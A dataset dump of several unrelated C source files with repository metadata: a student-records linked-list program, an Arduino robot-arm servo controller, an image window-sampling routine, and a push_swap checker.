if(ret > 0 && strlen(strLeftovers) != 0) { puts("INVALID STUDENT INFORMATION!"); } else if(ret > 0 && strlen(strLeftovers) == 0) { if(input != NULL && strlen(input) == STUDENT_ID_LEN) { StudentInfoPtr ptr = searchStudentId(&studentInfoPtr, input); if(ptr != NULL) displayStudentInfo(NULL, FLAG_DISP, ptr); else puts("NO STUDENT INFORMATION!!"); } else puts("INVALID STUDENT INFORMATION!!"); } else if(ret == 0 && strlen(strLeftovers) != 0){ if(input != NULL && strlen(input) <= LAST_NAME_LEN) { formatName(input); StudentInfoPtr ptr = searchStudentName(&studentInfoPtr, input); if(ptr != NULL) displayStudentInfo(NULL, FLAG_DISP, ptr); else puts("NO STUDENT INFORMATION!!!"); } else puts("INVALID STUDENT INFORMATION!!!"); } } break; } case SAVE: { saveStudentInfo(&studentInfoPtr); break; } default: puts("UNSUPPORTED ACTION!!"); } } terminate (&studentInfoPtr); return 0; } /* menu: displays a menu and prompt to the user output: the choice made by user */ int menu(){ char choiceStr[2]; int choice = 0; puts(""); puts("1. Add Student"); puts("2. Delete Student"); puts("3. Display Students"); puts("4. Search Student"); puts("5. Save"); puts("6. Exit"); printf("%s", "Choice: "); scanf("%1s", choiceStr); getchar(); choice = strtol(choiceStr, NULL, 10); return (int) choice; } /* promptForStudentInfo: prompts the user for a students info and stores it in a struct output: a pointer to the struct in memory */ StudentInfoPtr promptForStudentInfo() { StudentInfoPtr newStudentInfoPtr = NULL; //If no space is available return if ((newStudentInfoPtr = malloc(sizeof(StudentInfo))) == NULL) { puts("Unable to allocate memory"); return NULL; } //Reads student info { printf("%s", "Student ID (9 digits): "); scanf("%9s", newStudentInfoPtr->studentId); printf("%s", "Student first name (20 characters max): "); scanf("%20s", newStudentInfoPtr->firstName); printf("%s", "Student last name (25 characters max): "); scanf("%25s", newStudentInfoPtr->lastName); formatName(newStudentInfoPtr->firstName); formatName(newStudentInfoPtr->lastName); printf("%s", "How many courses is the student attending: "); scanf("%d", &newStudentInfoPtr->numOfAttentingCourses); } //Reads each course data for (int i = 0; i < newStudentInfoPtr->numOfAttentingCourses; i++) { printf("%s", "Enter course info as CODE NUMBER e.g MATH 101: "); scanf("%29s %d", newStudentInfoPtr->courseInfoArr[i].courseName, &(newStudentInfoPtr->courseInfoArr[i]).courseId); convertToUppercase(newStudentInfoPtr->courseInfoArr[i].courseName); } newStudentInfoPtr->next = NULL; return newStudentInfoPtr; } /* addStudent: adds a student to the linked list input: the beginning of the linked list */ void addStudent(StudentInfoPtr *head, StudentInfoPtr student) { StudentInfoPtr previousStudentInfoPtr = NULL; StudentInfoPtr currentStudentInfoPtr = *head; StudentInfoPtr newStudentInfoPtr = student; //Loops through the list to find suitable node to insert to while (currentStudentInfoPtr != NULL && strtol(newStudentInfoPtr->studentId, NULL, 10) > strtol(currentStudentInfoPtr->studentId, NULL, 10)) { previousStudentInfoPtr = currentStudentInfoPtr; currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; } if (previousStudentInfoPtr == NULL) { newStudentInfoPtr->next = *head; *head = newStudentInfoPtr; } else { previousStudentInfoPtr->next = newStudentInfoPtr; newStudentInfoPtr->next = currentStudentInfoPtr; } } /* deleteStudent: deletes a student from the linked list by id input: the beginning of the linked list (head), the id to be deleted (studentId) output: */ void deleteStudent(StudentInfoPtr *head, const char *studentId) { StudentInfoPtr currentStudentInfoPtr = *head; StudentInfoPtr previousStudentInfoPtr = NULL; if(!strcmp(currentStudentInfoPtr->studentId, studentId)){ StudentInfoPtr hold = currentStudentInfoPtr; *head = currentStudentInfoPtr->next; free(hold); } else { previousStudentInfoPtr = currentStudentInfoPtr; currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; while(currentStudentInfoPtr != NULL) { if(!strcmp(currentStudentInfoPtr->studentId, studentId)) { break; } previousStudentInfoPtr = currentStudentInfoPtr; currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; } StudentInfoPtr hold = currentStudentInfoPtr; previousStudentInfoPtr->next = currentStudentInfoPtr->next; currentStudentInfoPtr = currentStudentInfoPtr->next; free(hold); } } /* searchStudentId: searches the linked list for a student by id input: the beginning of the linked list (head), the id to be searched (studentId) output: the found student or NULL if not found */ StudentInfoPtr searchStudentId(StudentInfoPtr *head, const char *studentId) { StudentInfoPtr currentStudentInfoPtr = *head; while (currentStudentInfoPtr != NULL) { if(!strcmp(currentStudentInfoPtr->studentId, studentId)){ return currentStudentInfoPtr; } currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; } return NULL; } /* searchStudentName: searches the linked list for a student by last name input: the beginning of the linked list (head), the last name of student to be searched (studentLastName) output: the found student or NULL if not found */ StudentInfoPtr searchStudentName(StudentInfoPtr *head, const char *studentLastName) { StudentInfoPtr currentStudentInfoPtr = *head; while (currentStudentInfoPtr != NULL) { if(!strcmp(currentStudentInfoPtr->lastName, studentLastName)){ return currentStudentInfoPtr; } currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; } return NULL; } /* displayStudentInfo: displays each student information in a linked list input: the beginning of the linked list (head) */ void displayStudentInfo(StudentInfoPtr *head, int FLAG, StudentInfoPtr studentInfoPtr) { StudentInfoPtr currentStudentInfoPtr = NULL; switch(FLAG) { case(FLAG_DISP_ALL): { currentStudentInfoPtr = *head; } break; case(FLAG_DISP): { if(studentInfoPtr != NULL) { StudentInfo studentInfoCopy = *studentInfoPtr; currentStudentInfoPtr = &studentInfoCopy; currentStudentInfoPtr->next = NULL; } } break; } if(currentStudentInfoPtr == NULL) puts("No data!"); int count = 1; //Prints each student info while (currentStudentInfoPtr != NULL) { puts(""); printf("%s %d\n", "Student: ", count++); printf("%s\n", currentStudentInfoPtr->studentId); printf("%s\n", currentStudentInfoPtr->firstName); printf("%s\n", currentStudentInfoPtr->lastName); printf("%d\n", currentStudentInfoPtr->numOfAttentingCourses); for (int i = 0; i < currentStudentInfoPtr->numOfAttentingCourses; i++) { printf("%s %d\n", currentStudentInfoPtr->courseInfoArr[i].courseName, currentStudentInfoPtr->courseInfoArr[i].courseId); } currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; } } /* saveStudentInfo: saves the linked list to a file input: the beginning of the linked list (head) */ void saveStudentInfo(StudentInfoPtr *head) { char *fileName = "inputStudents.txt"; FILE *filePtr = NULL; if((filePtr = fopen(fileName, "w")) == NULL) { puts("ERR IN SAVING TO FILE | FILE COULD NOT BE OPENED"); } else { StudentInfoPtr currentStudentInfoPtr = *head; //writes the student infos to a file while(currentStudentInfoPtr != NULL) { fprintf(filePtr, "%s\n%s\n%s\n%d\n", currentStudentInfoPtr->studentId, currentStudentInfoPtr->firstName, currentStudentInfoPtr->lastName, currentStudentInfoPtr->numOfAttentingCourses); for(int i = 0; i < currentStudentInfoPtr->numOfAttentingCourses; i++){ fprintf(filePtr, "%s %d\n", currentStudentInfoPtr->courseInfoArr[i].courseName, currentStudentInfoPtr->courseInfoArr[i].courseId); } currentStudentInfoPtr = currentStudentInfoPtr->next; } fclose(filePtr); } } /* loadStudentInfo: reads student info from a sorted text file into a linked list input: the file name (fileName), the beginning of the linked list (startStudentInfoPtr) */ void loadStudentInfo(const char *fileName, StudentInfoPtr *startStudentInfoPtr) { FILE *filePtr; if ((filePtr = fopen(fileName, "r")) == NULL) puts("FILE COULD NOT BE OPENED"); else { while(1) { StudentInfoPtr newStudentInfoPtr = NULL; //If no space is available return if ((newStudentInfoPtr = malloc(sizeof(StudentInfo))) == NULL) { puts("Unable to allocate memory"); break; } //Reads student info { fscanf(filePtr, "%9s", newStudentInfoPtr->studentId); //Tests for end of file marker if (!strcmp(newStudentInfoPtr->studentId, EOF_MARKER)) { fclose(filePtr); break; } fscanf(filePtr, "%20s", newStudentInfoPtr->firstName); fscanf(filePtr, "%25s", newStudentInfoPtr->lastName); formatName(newStudentInfoPtr->firstName); formatName(newStudentInfoPtr->lastName); fscanf(filePtr, "%d", &newStudentInfoPtr->numOfAttentingCourses); } //Reads each course data for (int i = 0; i < newStudentInfoPtr->numOfAttentingCourses; i++) { fscanf(filePtr, "%29s %d", newStudentInfoPtr->courseInfoArr[i].courseName, &(newStudentInfoPtr->courseInfoArr[i]).courseId); convertToUppercase(newStudentInfoPtr->courseInfoArr[i].courseName); } newStudentInfoPtr->next = NULL; if(searchStudentId(startStudentInfoPtr, newStudentInfoPtr->studentId) == NULL) { addStudent(startStudentInfoPtr, newStudentInfoPtr); } else printf("%s %s", "Duplicate student ID: ", newStudentInfoPtr->studentId); } fclose(filePtr); } } /* terminate: free the allocated space used in the linked list input: the beginning of the list (head) */ void terminate(StudentInfoPtr *head) { printf("%s", "Save students to file before exiting (Y/N) ? "); char decision; scanf("%c", &decision); if(decision == 'y' || decision == 'Y') { saveStudentInfo(head); puts("Students saved!"); } StudentInfoPtr currentStudentInfoPtr = *head; StudentInfoPtr hold = NULL; //de-allocates memory used while (currentStudentInfoPtr != NULL) { hold = (StudentInfoPtr) currentStudentInfoPtr->next; currentStudentInfoPtr = (StudentInfoPtr) currentStudentInfoPtr->next; free(hold); } *head = NULL; puts("Exiting..."); } /* formatName: converts a string to have the first letter upper-case input: the string to convert (string) */ void formatName(char *string) { char *temp = string; while(*temp != '\0'){ *temp = tolower(*temp); temp++; } *string = toupper(*string); } /* convertToUppercase: converts a string to all uppercase input: the string to convert (string) */ void convertToUppercase(char *string) { while(*string != '\0'){ *string = toupper(*string); string++; } }
84d18c46355b697a773b3a00df7f9d9477ab7825
f457cfdf987bac9a5bef45d8d5d6edba68baa411
/include/metodos.h
5a112250a1ab2855ab19ed5d30bcfb60248c314d
[]
no_license
alvesduarte97/bracoRoboFacul
221577f22e2a8c69e09e75eb83b5543a30644b5a
656718e4e07721e672866c9cf09996faabd4cb00
refs/heads/master
2020-04-08T06:13:17.326691
2018-11-30T21:49:19
2018-11-30T21:49:19
null
0
0
null
null
null
null
UTF-8
C
false
false
3,478
h
metodos.h
#include <Servo.h> #include <Arduino.h> #include <string.h> Servo sBase; Servo sPulso; Servo sGarra; Servo sBraco; int pSBase = 8; int pSPulso = 9; int pSGarra = 10; int pSBraco = 11; int angBase = 0; int angPulso = 0; int angGarra = 15; int angBraco = 0; int angBaseMax = 0; int angPulsoMax = 85; int angGarraMax = 100; int angBracoMax = 360; int angBaseMin = 0; int angPulsoMin = 15; int angGarraMin = 15; int angBracoMin = 40; int valSoma = 1; int velocidade = 15; void initServ(){ sBase.attach(pSBase); sPulso.attach(pSPulso); sGarra.attach(pSGarra); sBraco.attach(pSBraco); } void moverServos(String input){ if(velocidade <= 5){ velocidade = 5; } if(input == "RR" || input == "rught0"){ angBase = angBase + valSoma; }else if(input == "LL" || input == "left0"){ angBase = angBase - valSoma; }else if(input == "FF"){ angBraco = angBraco + valSoma; angPulso = angPulso + valSoma; if(angPulso >= angPulsoMax){ angPulso = angPulsoMax; } if(angBraco >= angBracoMax){ angBraco = angBracoMax; } Serial.println(angBraco); }else if(input == "BB" || input == "down0"){ angPulso = angPulso - valSoma; angBraco = angBraco - valSoma; if(angPulso <= angPulsoMin){ angPulso = angPulsoMin; } if(angBraco <= angBracoMin){ angBraco = angBracoMin; } }else if(input == "W" || input == "qua0"){ angGarra = angGarraMax; }else if(input == "w" || input == "x0"){ angGarra = angGarraMin; } if(input == "" || input == ""){ }else if(input == "1" || input == "11"){ valSoma = 1; }else if(input == "2" || input == "22"){ valSoma = 2; }else if(input == "3" || input == "33"){ valSoma = 3; // velocidade = 10; }else if(input == "4" || input == "44"){ valSoma = 4; }else if(input == "5" || input == "55"){ valSoma = 5; // velocidade = 7; }else if(input == "6" || input == "66"){ valSoma = 7; }else if(input == "7" || input == "77"){ valSoma = 10; }else if(input == "8" || input == "88"){ valSoma = 15; // velocidade = 5; }else if(input == "9" || input == "99"){ } if(input == "func1" || input == "func10"){ velocidade = velocidade + 2; Serial.println("Velocidade: " + velocidade); } else if(input == "func2" || input == "func20"){ valSoma = valSoma + 2; Serial.println("ValSoma: " + valSoma); } sBase.write(angBase); sPulso.write(angPulso); sGarra.write(angGarra); sBraco.write(angBraco); delay(velocidade); } String leStringSerial(){ String conteudo = ""; char caractere; if(Serial.available() > 0){ // Enquanto receber algo pela serial while(Serial.available() > 0) { // Lê byte da serial caractere = Serial.read(); // Ignora caractere de quebra de linha if (caractere != '\n'){ // Concatena valores if(caractere != 'S'){ conteudo.concat(caractere); } } // Aguarda buffer serial ler próximo caractere delay(10); } if(conteudo != ""){ Serial.print("Recebi: "); Serial.println(conteudo); } } return conteudo; }
54a3adb100c1089548fcbcbdc113cd9cceaf67cd
b53134343509ad49c800fb5488f153236d35eac9
/imgsample.c
e1578b2a76fff6fe3243d6d3edaa6956523646cf
[]
no_license
vt100/cffi-numpy-demo
136a2cd0539e3659f50e2f6f2b55ea99b3ffc5d5
a359e1e241e1cb36562d9babf2ca9775e6445217
refs/heads/master
2020-12-31T00:12:35.577412
2016-04-05T15:04:08
2016-04-05T15:04:08
null
0
0
null
null
null
null
UTF-8
C
false
false
3,463
c
imgsample.c
#include "stdlib.h" // import size_t void sample2d(size_t row_count, size_t column_count, size_t window_size, float *input, float *output) { printf("row count-> %zu \n", row_count); printf("col count -> %zu \n", column_count); printf("window size -> %zu \n", window_size); size_t i, j, a, b, output_offset, output_window_offset, output_idx = 0; for(i = 0; i < row_count - window_size + 1; i += 1) { for(j = 0; j < column_count - window_size + 1; j += 1) { //printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); // generate window for current i,j position for(a = 0; a < window_size; a++) { for(b = 0; b < window_size; b++) { output_offset = window_size * window_size * output_idx; output_window_offset = (window_size * a + b); /* printf("output offset -> %zu \n", output_offset); printf("output window offset -> %zu \n", output_window_offset); printf("output_idx -> %zu \n", output_idx); printf("\n"); printf("input[column_count * (i + a) + (j + b)] -> %2.2f \n", input[column_count * (i + a) + (j + b)]); printf("i -> %zu \n", i); printf("a -> %zu \n", a); printf("j -> %zu \n", j); printf("b -> %zu \n", b); */ output[output_offset + output_window_offset] = input[column_count * (i + a) + (j + b)]; } } output_idx += 1; } } } void sample3d(size_t row_count, size_t column_count, size_t window_size, float *input, float *output) { printf("row count-> %zu \n", row_count); printf("col count -> %zu \n", column_count); printf("window size -> %zu \n", window_size); size_t i, j, k, a, b, output_offset, output_window_offset, output_idx = 0; for(i = 0; i < row_count - window_size + 1; i += 1) { for(j = 0; j < column_count - window_size + 1; j += 1) { for(k = 0; k < 3; k += 1) { //printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); // generate window for current i,j position for(a = 0; a < window_size; a++) { for(b = 0; b < window_size; b++) { output_offset = window_size * window_size * output_idx; output_window_offset = (window_size * a + b); /* printf("output offset -> %zu \n", output_offset); printf("output window offset -> %zu \n", output_window_offset); printf("output_idx -> %zu \n", output_idx); printf("\n"); printf("input[column_count * (i + a) + (j + b)] -> %2.2f \n", input[column_count * (i + a) + (j + b)]); printf("i -> %zu \n", i); printf("a -> %zu \n", a); printf("j -> %zu \n", j); printf("b -> %zu \n", b); */ output[output_offset + output_window_offset + k] = input[column_count * (i + a) + (j + b) + k]; } } output_idx += 1; } } } }
b78fc6d7737fbda5b4228dd9131bd2b58a612af5
31e5409b7333fb3ba33e1e4f35943a413a2f78ab
/check/checker.c
31e6c048d977e0fb38f044c43bd9956e2feb3840
[]
no_license
glaptev8/pushswap
0d58f12f94b0b8ad9c06b134177ba9e366798fa9
b1887ab203298386bf2b7478f45c6e952dfc7e93
refs/heads/master
2020-08-31T14:04:53.025059
2020-04-04T11:19:19
2020-04-04T11:19:19
218,706,570
1
0
null
2019-11-25T12:22:12
2019-10-31T07:16:42
C
UTF-8
C
false
false
2,998
c
checker.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* checker.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tmelia <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/11/15 17:49:37 by tmelia #+# #+# */ /* Updated: 2019/11/15 17:49:39 by tmelia ### ########.fr */ /* */ /* ************************************************************************** */ #include "../includes/push_swap.h" int init_check(int *argc, char **argv, t_num **a, int *flag) { if (!argv[0]) return (0); if (*argv && argv[0][0] == '\0') return (0); if (*argc == 0 || (*argc == 1 && !ft_strcmp(argv[0], "-v"))) return (0); if (!ft_strcmp(argv[0], "-v")) { *flag = 1; (*argc)--; argv++; } if (argv && *argv && argv[0][0] == '\0') { ft_putstr_fd("Error\n", 2); return (0); } *a = lst_new(*argc); if (ft_init_stack(a, *argc, argv) == 0) { ft_putstr_fd("Error\n", 2); return (0); } return (1); } int check_step(char *com, t_num **a, t_num **b) { if (!ft_strcmp(com, "sa")) *a = ft_sa(*a); else if (!ft_strcmp(com, "sb")) { if (*b) *b = ft_sb(*b); } else if (!ft_strcmp(com, "ra")) *a = ft_ra(*a); else if (!ft_strcmp(com, "rb")) *b = ft_rb(*b); else if (!ft_strcmp(com, "rra")) *a = ft_rra(*a); else if (!ft_strcmp(com, "rrb")) *b = ft_rrb(*b); else return (0); return (1); } int check_step2(char *com, t_num **a, t_num **b) { if (!ft_strcmp(com, "pb")) { if (*a && (*a)->next && (*a)->next != *a) (*b) = ft_pb(a, (*b)); else if ((*a)) { (*b) = lst_add((*b), (*a)->num); free((*a)); (*a) = NULL; } } else if (!ft_strcmp(com, "pa")) { if ((*b) && (*b)->next && (*b)->next != (*b)) (*a) = ft_pa((*a), b); else if ((*b)) { (*a) = lst_add((*a), (*b)->num); free((*b)); (*b) = NULL; } } else return (0); return (1); } int check_step3(char *com, t_num **a, t_num **b) { if (!ft_strcmp(com, "rrr")) ft_rrr(a, b); else if (!ft_strcmp(com, "rr")) ft_rr(a, b); else { ft_putstr_fd("Error\n", 2); free(com); return (-1); } return (1); } int main(int argc, char **argv) { t_num *a; t_num *b; int flag; char **s; argv++; flag = 0; b = NULL; s = check_str(&argc, &argv); if (s && !ft_strcmp(argv[0], "-v")) flag = 1; if (argc == 2 && !ft_strcmp(argv[0], "-v") && !s) return (0); if (valid_check(s ? s : argv, &argc, &flag, &a) == 0) { finish_check(&a, &b, s); return (0); } ft_check_step(&a, &b, flag); finish_check(&a, &b, s); return (0); }